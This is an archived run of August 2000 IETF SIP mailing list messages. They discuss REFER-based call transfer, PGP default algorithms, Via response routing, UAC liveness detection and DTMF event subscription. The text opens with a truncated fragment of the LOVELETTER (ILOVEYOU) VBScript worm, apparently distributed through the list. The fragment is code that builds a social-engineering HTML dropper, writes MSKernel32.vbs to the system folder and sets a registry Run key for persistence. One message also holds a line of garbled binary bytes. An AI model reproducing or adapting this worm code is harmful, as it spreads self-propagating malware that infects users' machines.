regedit.RegWrite = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count else regedit.RegWrite = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count end if next Set out=3DNothing Set mapi=3DNothing end sub sub html On Error Resume Next dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6 dta1=3D"<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META = NAME=3D@-@Generator@-@ CONTENT=3D@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& = _ "<META NAME=3D@-@Author@-@ CONTENT=3D@-@spyder ?-? ispyder@mail.com ?-? = @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& = _ "<META NAME=3D@-@Description@-@ CONTENT=3D@-@simple but i think this is = good...@-@>"&vbcrlf& _ "<?-?HEAD><BODY = ONMOUSEOUT=3D@-@window.name=3D#-#main#-#;window.open(#-#LOVE-LETTER-FOR-= YOU.HTM#-#,#-#main#-#)@-@ "&vbcrlf& _ "ONKEYDOWN=3D@-@window.name=3D#-#main#-#;window.open(#-#LOVE-LETTER-FOR-= YOU.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=3D@-@fixed@-@ = BGCOLOR=3D@-@#FF9933@-@>"&vbcrlf& _ "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to = read this HTML file<BR>- Please press #-#YES#-# button to Enable = ActiveX<?-?p>"&vbcrlf& _ "<?-?CENTER><MARQUEE LOOP=3D@-@infinite@-@ = BGCOLOR=3D@-@yellow@-@>----------z--------------------z----------<?-?MAR= QUEE> "&vbcrlf& _ "<?-?BODY><?-?HTML>"&vbcrlf& _ "<SCRIPT language=3D@-@JScript@-@>"&vbcrlf& _ "<!--?-??-?"&vbcrlf& _ "if (window.screen){var wi=3Dscreen.availWidth;var = hi=3Dscreen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbc= rlf& _ "?-??-?-->"&vbcrlf& _ "<?-?SCRIPT>"&vbcrlf& _ "<SCRIPT LANGUAGE=3D@-@VBScript@-@>"&vbcrlf& _ "<!--"&vbcrlf& _ "on error resume next"&vbcrlf& _ "dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _ "aw=3D1"&vbcrlf& _ "code=3D" dta2=3D"set = fso=3DCreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _ "set dirsystem=3Dfso.GetSpecialFolder(1)"&vbcrlf& _ "code2=3Dreplace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _ "code3=3Dreplace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _ "code4=3Dreplace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _ "set = wri=3Dfso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _ "wri.write code4"&vbcrlf& _ "wri.close"&vbcrlf& _ "if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _ "if (err.number=3D424) then"&vbcrlf& _ "aw=3D0"&vbcrlf& _ "end if"&vbcrlf& _ "if (aw=3D1) then"&vbcrlf& _ "document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _ "window.close"&vbcrlf& _ "end if"&vbcrlf& _ "end if"&vbcrlf& _ "Set regedit =3D CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _ "regedit.RegWrite = @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^= -^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _ "?-??-?-->"&vbcrlf& _ "<?-?SCRIPT>" dt1=3Dreplace(dta1,chr(35)&chr(45)&chr(35),"'") dt1=3Dreplace(dt1,chr(64)&chr(45)&chr(64),"""") dt4=3Dreplace(dt1,chr(63)&chr(45)&chr(63),"/") dt5=3Dreplace(dt4,chr(94)&chr(45)&chr(94),"\") dt2=3Dreplace(dta2,chr(35)&chr(45)&chr(35),"'") dt2=3Dreplace(dt2,chr(64)&chr(45)&chr(64),"""") dt3=3Dreplace(dt2,chr(63)&chr(45)&chr(63),"/") dt6=3Dreplace(dt3,chr(94)&chr(45)&chr(94),"\") set fso=3DCreateObject("Scripting.FileSystemObject") set c=3Dfso.OpenTextFile(WScript.ScriptFullName,1) lines=3DSplit(c.ReadAll,vbcrlf) l1=3Dubound(lines) for n=3D0 to ubound(lines) lines(n)=3Dreplace(lines(n),"'",chr(91)+chr(45)+chr(91)) lines(n)=3Dreplace(lines(n),"""",chr(93)+chr(45)+chr(93)) lines(n)=3Dreplace(lines(n),"\",chr(37)+chr(45)+chr(37)) if (l1=3Dn) then lines(n)=3Dchr(34)+lines(n)+chr(34) else lines(n)=3Dchr(34)+lines(n)+chr(34)&"&vbcrlf& _" end if next set b=3Dfso.CreateTextFile(dirsystem+"\Very Funny.HTM") b.close set d=3Dfso.OpenTextFile(dirsystem+"\Very Funny.HTM",2) d.write dt5 d.write join(lines,vbcrlf) d.write vbcrlf d.write dt6 d.close end sub _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 23 12:04:49 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA16638 for <sip-archive@odin.ietf.org>; Wed, 23 Aug 2000 12:04:48 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 9F2F044357; Wed, 23 Aug 2000 12:04:23 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 9ACFE44341 for <sip@lists.bell-labs.com>; Wed, 23 Aug 2000 12:04:20 -0400 (EDT) Received: from dynamicsoft.com ([216.173.40.50]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id MAA23233; Wed, 23 Aug 2000 12:06:03 -0400 (EDT) Message-ID: <39A3F5A5.31FEEA57@dynamicsoft.com> Date: Wed, 23 Aug 2000 12:02:45 -0400 From: Jonathan Rosenberg <jdrosen@dynamicsoft.com> Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Brett Tate <brett@broadsoft.com> Cc: SIPbell-labs <sip@lists.bell-labs.com>, rsparks@dynamicsoft.com Subject: Re: [SIP] draft-ietf-sip-cc-transfer-00 comments and questions References: <053b01c00bfd$062fc800$3202a8c0@broadsoft.com> <39A2A100.8665D71A@dynamicsoft.com> <008101c00ccd$8b3fff30$3202a8c0@broadsoft.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Brett Tate wrote: > > Hey Jonathan, > > Thanks for the response. > > Can any member along the path introduce REFER > messages on the path or does it exclude proxies > for CSeq reasons? Since the REFER is just > borrowing the route and is unrelated to the > session, do all the rest of the headers > need to match up with the normal call-leg headers > specific to the path? REFER is no different than any other request. Proxies don't originate requests on their own. > > It seems the document has evolved to show > how A can request B to INVITE C, instead of how > to transfer a call. If a REFER is unrelated to > the path's session, I find it interesting that the > Call Transfer draft doesn't explain how to > perform a transfer. :) REFER followed by BYE does transfer. I have no objection to example sections in the draft which show this kind of application. > > Please give example of headers as to avoid everyone > from producing a proprietary means to request a > "transfer", "multi-party", or > "establish additional unrelated call" when > sending the REFER. I don't know what you mean by "example of headers". The specification defines the headers needed for the refer operation. You can build transfer with these mechanisms plus BYE as defined already. > > Please give example of headers for how the > Transferee knows to switch, second line, or > multi-party the INVITE from the Transfer Target > within 6.2.2 without presenting it the user to > decide. UI issues are out of scope. Why couldn't an implemenatation present it to the user to decide? Seems like a good feature. -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 23 13:14:36 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA19064 for <sip-archive@odin.ietf.org>; Wed, 23 Aug 2000 13:14:31 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 5E29744342; Wed, 23 Aug 2000 13:13:46 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com (Postfix) with ESMTP id AF92044336 for <sip@lists.bell-labs.com>; Wed, 23 Aug 2000 13:07:41 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id NAA17046; Wed, 23 Aug 2000 13:07:29 -0400 (EDT) Message-ID: <39A404D1.6DED4FD7@cs.columbia.edu> Date: Wed, 23 Aug 2000 13:07:29 -0400 From: Henning Schulzrinne <schulzrinne@cs.columbia.edu> Organization: Columbia University, Dept. of Computer Science X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Phil Hoffer <phoffer@ubiquity.net> Cc: sip@lists.bell-labs.com Subject: Re: [SIP] Defaults for PGP Authentication parameters References: <00f101c00c4e$91dac570$5334c3c1@ubiquity.co.uk> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Phil Hoffer wrote: > > Hi, > > The current bis draft states the following in section 15.1 PGP > Authentication Scheme .... > > "Implementations supporting this scheme MUST implement the > definitions and default algorithms of RFC 2440 [45] and MAY implement > the older version, based upon PGP 2.6, described in RFC 1991 [42]." > > and the following in section 15.1.1 .... > > "pgp-micalgorithm: > > The value of this parameter indicates the PGP > message integrity check (MIC) to be used to produce the > signature. If this parameter is not present, it is assumed > to be "md5". The currently defined values are "md5" for > the MD5 checksum, and "sha1" for the SHA.1 algorithm. > > pgp-pubalgorithm: > > The value of this parameter indicates the PGP > public-key algorithm to be used for signing and encrypting > messages. If this parameter is not present, it is assumed > to be "rsa" for the RSA algorithm. The value "dsa" defines > the DSS/DH algorithm." > > The default algorithms defined in RFC2440 are ... > > Public Key Algorithms > > DSA = MUST > RSA = SHOULD > > Hash Algorithms > > SHA-1 = MUST > MD5 = SHOULD > > Therefore, would it be better to specify DSA & SHA-1 as the defaults for the > respective SIP parameters? > > What do you think? Makes sense to me; clarified. -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 23 13:30:38 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA19366 for <sip-archive@odin.ietf.org>; Wed, 23 Aug 2000 13:30:38 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 05E8444353; Wed, 23 Aug 2000 13:29:45 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from pigeon.vovida.com (a98.vovida.com [209.237.8.98]) by lists.bell-labs.com (Postfix) with ESMTP id 7688D4434D for <sip@lists.bell-labs.com>; Wed, 23 Aug 2000 13:26:49 -0400 (EDT) Received: from vovida.com ([209.237.8.113]) by pigeon.vovida.com (Netscape Messaging Server 4.15) with ESMTP id FZR9PZ00.B35; Wed, 23 Aug 2000 10:25:11 -0700 Message-ID: <39A4094F.65FED9E3@vovida.com> Date: Wed, 23 Aug 2000 10:26:39 -0700 From: Sunitha Kumar <skumar@vovida.com> Organization: Vovida Networks X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.14 i686) X-Accept-Language: en MIME-Version: 1.0 To: Junyoung Heo <green@nadatel.com> Cc: mohsen sedighi <mohsen_sedighi@yahoo.com>, sip@lists.bell-labs.com Subject: Re: [SIP] sip program References: <20000823054713.14221.qmail@web1606.mail.yahoo.com> <00ed01c00cc5$ed8f3550$9901a8c0@nadatel.com> Content-Type: multipart/alternative; boundary="------------18456E06948F08F939A6ABE9" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com --------------18456E06948F08F939A6ABE9 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Actually, refer to www.vovida.org Junyoung Heo wrote: > refer www.vovida.com > > ----- Original Message ----- > From: "mohsen sedighi" <mohsen_sedighi@yahoo.com> > To: <sip@lists.bell-labs.com> > Sent: Wednesday, August 23, 2000 2:47 PM > Subject: [SIP] sip program > > > in the name of God > > i want a complete source program of a good sip > > implimentation,who knows from where i can find it? > > Best regards, > > sedighi > > > > __________________________________________________ > > Do You Yahoo!? > > Yahoo! Mail - Free email you can access from anywhere! > > http://mail.yahoo.com/ > > > > > > _______________________________________________ > > SIP mailing list > > SIP@lists.bell-labs.com > > http://lists.bell-labs.com/mailman/listinfo/sip > Hfæj)b? b²Ô^>X¬¶ÆÞ-YZnÇ(sm§ÿåSËlmée*¦ìr?¿?¨¥?©ÿ-+-SwèþÈ© -- Sunitha Kumar http://www.vovida.com --------------18456E06948F08F939A6ABE9 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit <!doctype html public "-//w3c//dtd html 4.0 transitional//en"> <html> Actually, refer to www.vovida.org <br>  <br>  <p>Junyoung Heo wrote: <blockquote TYPE=CITE>refer www.vovida.com <p>----- Original Message ----- <br>From: "mohsen sedighi" <mohsen_sedighi@yahoo.com> <br>To: <sip@lists.bell-labs.com> <br>Sent: Wednesday, August 23, 2000 2:47 PM <br>Subject: [SIP] sip program <p>>                in the name of God <br>> i want a complete source program of a good sip <br>> implimentation,who knows from where i can find it? <br>> Best regards, <br>> sedighi <br>> <br>> __________________________________________________ <br>> Do You Yahoo!? <br>> Yahoo! Mail - Free email you can access from anywhere! <br>> <a href="http://mail.yahoo.com/">http://mail.yahoo.com/</a> <br>> <br>> <br>> _______________________________________________ <br>> SIP mailing list <br>> SIP@lists.bell-labs.com <br>> <a href="http://lists.bell-labs.com/mailman/listinfo/sip">http://lists.bell-labs.com/mailman/listinfo/sip</a> <br>Hfæj)b? b²Ô^>X¬¶ÆÞ-YZnÇ(sm§ÿåSËlmée*¦ìr?¿?¨¥?©ÿ-+-SwèþÈ©</blockquote> <pre>--  Sunitha Kumar <A HREF="http://www.vovida.com">http://www.vovida.com</A></pre>  </html> --------------18456E06948F08F939A6ABE9-- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 23 14:08:28 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA20334 for <sip-archive@odin.ietf.org>; Wed, 23 Aug 2000 14:08:28 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id F1E2D4435E; Wed, 23 Aug 2000 14:05:07 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com (Postfix) with ESMTP id 457AB44354 for <sip@lists.bell-labs.com>; Wed, 23 Aug 2000 13:38:21 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id NAA18894; Wed, 23 Aug 2000 13:38:17 -0400 (EDT) Message-ID: <39A40C09.369C8747@cs.columbia.edu> Date: Wed, 23 Aug 2000 13:38:17 -0400 From: Henning Schulzrinne <schulzrinne@cs.columbia.edu> Organization: Columbia University, Dept. of Computer Science X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Jonathan Rosenberg <jdrosen@dynamicsoft.com> Cc: Peter Kjellerstedt <pkj@axis.com>, sip@lists.bell-labs.com Subject: Re: [SIP] More inconsistencies and questions References: <200008031608.SAA17359@saur.axis.se> <3989B05C.D887363A@dynamicsoft.com> <398DD8E5.3AE91EA@cs.columbia.edu> <3990B80D.6462BA57@dynamicsoft.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Jonathan Rosenberg wrote: > > I still find this text confusing, since it refers to second vias and > isn't really ordered according to what you would do. How about: > > 1. If sent-protocol indicates TCP, send the response using an existing > TCP connection to the source of the original request. Reworded, again. This leaves out the case 'TCP' and 'no existing connection'. I also generalized from TCP to 'reliable transport protocol such as TCP, TLS or SCTP' in line with earlier discussions. -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 23 14:38:08 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA21028 for <sip-archive@odin.ietf.org>; Wed, 23 Aug 2000 14:38:08 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 2889444366; Wed, 23 Aug 2000 14:37:12 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mail-gw.NetergyNet.COM (mail-gw.8x8.com [192.84.19.131]) by lists.bell-labs.com (Postfix) with ESMTP id 47D4F44351 for <sip@lists.bell-labs.com>; Wed, 23 Aug 2000 14:26:10 -0400 (EDT) Received: from mail.8x8.COM (mail.8x8.com [192.84.19.130]) by mail-gw.NetergyNet.COM (8.9.3+Sun/8.9.3) with ESMTP id LAA10250 for <sip@lists.bell-labs.com>; Wed, 23 Aug 2000 11:26:08 -0700 (PDT) Received: from 8x8.com ([207.82.37.67]) by mail.8x8.COM (8.9.1b+Sun/8.9.1) with ESMTP id LAA23751 for <sip@lists.research.bell-labs.com>; Wed, 23 Aug 2000 11:26:08 -0700 (PDT) Message-ID: <39A4166E.203A4D69@8x8.com> Date: Wed, 23 Aug 2000 11:22:38 -0700 From: Marc Petit-Huguenin <petithug@NetergyNet.COM> Organization: Netergy Networks Inc. X-Mailer: Mozilla 4.73 [en] (X11; I; Linux 2.2.17 i686) X-Accept-Language: fr-FR, fr, en MIME-Version: 1.0 To: IETF SIP <sip@lists.bell-labs.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [SIP] Detection of UAC failure Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Hi, In the initial INVITE, how an UAS can know that the UAC is still alive? The UAC can do this by retransmitting the INVITE periodically or by bounding the duration of the INVITE with a Expires header, but how an UAS can be sure that the UAC is alive (if the UAS send the 200 OK after a very very long time), if the PRACK extension is not supported and the UAC do not add an Expires header? Thank you for your help, -- Marc Petit-Huguenin Home: mailto:petithug@cyberservices.com Work: mailto:petithug@netergynet.com "So much to do and so little time" The Joker - Batman (The Movie) _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 23 18:41:30 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA23923 for <sip-archive@odin.ietf.org>; Wed, 23 Aug 2000 18:41:30 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id A8E7044341; Wed, 23 Aug 2000 18:41:16 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mailwall.ttimail.com (216-86-19-5.caprock.net [216.86.19.5]) by lists.bell-labs.com (Postfix) with ESMTP id 8792644336 for <sip@lists.bell-labs.com>; Wed, 23 Aug 2000 18:41:13 -0400 (EDT) Received: from printserver.tti.net [127.0.0.1] by mailwall.ttimail.com (SMTPD32-6.04) id A30879013E; Wed, 23 Aug 2000 17:41:12 -0500 Received: by MAILHOST.tti.net with Internet Mail Service (5.5.2650.21) id <Q8F8159B>; Wed, 23 Aug 2000 17:41:10 -0500 Message-ID: <51A66FB90C0C4D45BEBDB2A4BC1E8BEC1AED02@MAILHOST.tti.net> From: Kevin Summers <Kevin.Summers@ttimail.com> To: Marc Petit-Huguenin <petithug@NetergyNet.COM>, IETF SIP <sip@lists.bell-labs.com> Subject: RE: [SIP] Detection of UAC failure Date: Wed, 23 Aug 2000 17:41:09 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Take a look at the following draft: http://www.ietf.org/internet-drafts/draft-ietf-sip-session-timer-02.txt Additionally, Henning's tasty faq-o-matic addresses keepalives: http://www.cs.columbia.edu/~hgs/sip/faq.cgi?_highlightWords=keep&file=40 -----Original Message----- From: Marc Petit-Huguenin [mailto:petithug@NetergyNet.COM] Sent: Wednesday, August 23, 2000 1:23 PM To: IETF SIP Subject: [SIP] Detection of UAC failure Hi, In the initial INVITE, how an UAS can know that the UAC is still alive? The UAC can do this by retransmitting the INVITE periodically or by bounding the duration of the INVITE with a Expires header, but how an UAS can be sure that the UAC is alive (if the UAS send the 200 OK after a very very long time), if the PRACK extension is not supported and the UAC do not add an Expires header? Thank you for your help, -- Marc Petit-Huguenin Home: mailto:petithug@cyberservices.com Work: mailto:petithug@netergynet.com "So much to do and so little time" The Joker - Batman (The Movie) _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 23 19:42:57 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA24284 for <sip-archive@odin.ietf.org>; Wed, 23 Aug 2000 19:42:57 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id BBB0044342; Wed, 23 Aug 2000 19:42:40 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by lists.bell-labs.com (Postfix) with ESMTP id 702A644336 for <sip@lists.bell-labs.com>; Wed, 23 Aug 2000 19:42:37 -0400 (EDT) Received: from imop.cisco.com (imop.cisco.com [171.69.11.44]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id QAA29501; Wed, 23 Aug 2000 16:42:56 -0700 (PDT) Received: from buckthorn-nt (dhcp-171-69-93-137.cisco.com [171.69.93.137]) by imop.cisco.com (Mirapoint) with ESMTP id AAB30762; Wed, 23 Aug 2000 16:42:36 -0700 (PDT) Message-Id: <4.2.0.58.20000823161301.00cba3c0@imop.cisco.com> X-Sender: rmahy@imop.cisco.com (Unverified) X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Wed, 23 Aug 2000 16:23:50 -0700 To: Jonathan Rosenberg <jdrosen@dynamicsoft.com> From: Rohan Mahy <rohan@cisco.com> Subject: Re: [SIP] DTMF discussion from WG meeting Cc: "Culpepper, Bert" <bert.culpepper@intervoice-brite.com>, sip@lists.bell-labs.com In-Reply-To: <398A4A95.9F2FC3BA@dynamicsoft.com> References: <4.1.20000803111008.00b8a4c0@imop.cisco.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com At 09:46 PM 8/3/00 , Jonathan Rosenberg wrote: >Rohan Mahy wrote: > > > > Hi, > > > > I think we may have a slightly different definition of first and third > > party. I'd say that the moment an app switches from first to third, it > > becomes third party and can subscribe to DTMF events. Perhaps I > should > that a first-party cannot *take action* on DTMF events, but a > thrid party > > should. > > > > If a 1st party app subscribes to DTMF events, there is a danger that it can > > count the same DTMF event twice (once from RTP, and once from the event). > >Sounds like the kind of nasty things that happen when there are two >completely different ways to do the same thing. As I suspect you will >not be able to cleanly define a role as either 1st or 3rd, with a clean >changeover during which you would never receive events I think the definition is crystal clear, and most apps will always be one or the other. maybe you will like this better: If your app will *ever* terminate audio, then it must be ready to receive DTMF via AVT tones, and must never subscribe to "keypress events" This leaves "pure" 3rd party apps (of which there are still plenty), which will never, ever terminate any media. I think that something like VoXML is a good model here. Send the endpoint a script or document to run. If the end user does something interesting (press some keys, say something intelligable, etc), then execute a URL. The URL may fetch a new script, contain a REFER, an INVITE, a BYE, a REGISTER, etc... >sounds like one >mechanism is the right way to go. Lots of folks will want a VoXML-like model. Only ever sending DTMF as AVT tones is limiting and short-sighted IMHO. thanks, -rohan _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 23 20:45:52 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA24886 for <sip-archive@odin.ietf.org>; Wed, 23 Aug 2000 20:45:52 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 007B44434D; Wed, 23 Aug 2000 20:45:23 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by lists.bell-labs.com (Postfix) with ESMTP id 568A344336 for <sip@lists.bell-labs.com>; Wed, 23 Aug 2000 20:45:20 -0400 (EDT) Received: from imop.cisco.com (imop.cisco.com [171.69.11.44]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id RAA04716; Wed, 23 Aug 2000 17:45:37 -0700 (PDT) Received: from buckthorn-nt (dhcp-171-69-93-137.cisco.com [171.69.93.137]) by imop.cisco.com (Mirapoint) with ESMTP id AAB31335; Wed, 23 Aug 2000 17:45:17 -0700 (PDT) Message-Id: <4.2.0.58.20000823172548.00ca8840@imop.cisco.com> X-Sender: rmahy@imop.cisco.com (Unverified) X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Wed, 23 Aug 2000 17:42:32 -0700 To: "Brett Tate" <brett@broadsoft.com> From: Rohan Mahy <rohan@cisco.com> Subject: Re: [SIP] draft-ietf-sip-cc-transfer-00 comments and questions Cc: "Jonathan Rosenberg" <jdrosen@dynamicsoft.com>, "SIPbell-labs" <sip@lists.bell-labs.com>, <rsparks@dynamicsoft.com> In-Reply-To: <008101c00ccd$8b3fff30$3202a8c0@broadsoft.com> References: <053b01c00bfd$062fc800$3202a8c0@broadsoft.com> <39A2A100.8665D71A@dynamicsoft.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Hi, Let me try and rephrase Brett's question. Let's assume the following scenario: A sends REFER to B with a Refer-To: <C> B sends an INVITE to C with Referred-By: <A> When C receives an INVITE with a Referred-By header, how does C know whether to: a) accept this INVITE as a new call, b) accept this INVITE as a replacement for another call leg, or c) accept this INVITE as new party in an existing call ?? The semantics aren't well-defined yet. The draft just mentions that you can include a call-id in the refer-to or referred-by URL. It doesn't say what that would mean or what you should do with it. All of these behaviors are reasonable things. c) is useful for full mesh conferences, b) is needed for attended transfer and other redirection features, and is useful for desktop call control (my dialer REFERs my phone to place an INVITE to a contact). thanks, -rohan >Please give example of headers as to avoid 